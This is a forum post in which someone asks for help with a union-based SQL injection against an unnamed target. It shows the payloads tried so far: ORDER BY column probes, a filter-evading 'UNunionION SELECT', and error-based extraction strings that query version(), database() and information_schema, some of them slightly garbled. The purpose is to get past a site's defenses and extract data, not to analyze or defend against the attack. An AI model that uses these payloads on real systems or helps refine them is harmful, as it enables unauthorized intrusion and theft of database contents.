Forum Thread: SQLi Union Based Help

Hi all,

I am confused with this bug, here is my test' order by 3 %23
Unknown column '3' in 'order clause'
If order by 2, It is ok, so there are 2 columns selected in SQL select query

Now, continue with this query' and 1 UNunionION select 1 %23
The used SELECT statements have a different number of columns

But when select 1,2: It don't show any error.

I tried with error based type with:
or 1 group by concatws(0x3a,version(),floor(rand(0)2)) having min(0) or 1 %23

and(select 1 FROM(select count(),concat((select (select concat(database())) FROM informationschema.tables LIMIT 0,1),floor(rand(0)2))x FROM informationschema.tables GROUP BY x)a)

And with many tests, but I can not get any useful information :(

Could you give me a tip

Thanks in advanced.

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